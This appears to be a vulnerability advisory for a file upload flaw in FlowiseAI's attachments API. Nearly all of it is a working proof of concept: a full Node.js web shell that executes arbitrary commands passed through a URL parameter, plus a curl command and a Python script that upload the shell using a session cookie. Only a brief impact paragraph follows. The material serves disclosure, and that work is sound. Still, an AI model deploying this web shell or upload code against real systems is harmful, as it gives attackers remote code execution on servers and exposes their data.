FlowiseAI/Flosise has File Upload vulnerability

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "[email protected];type=application/javascript"

Python Upload Script

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.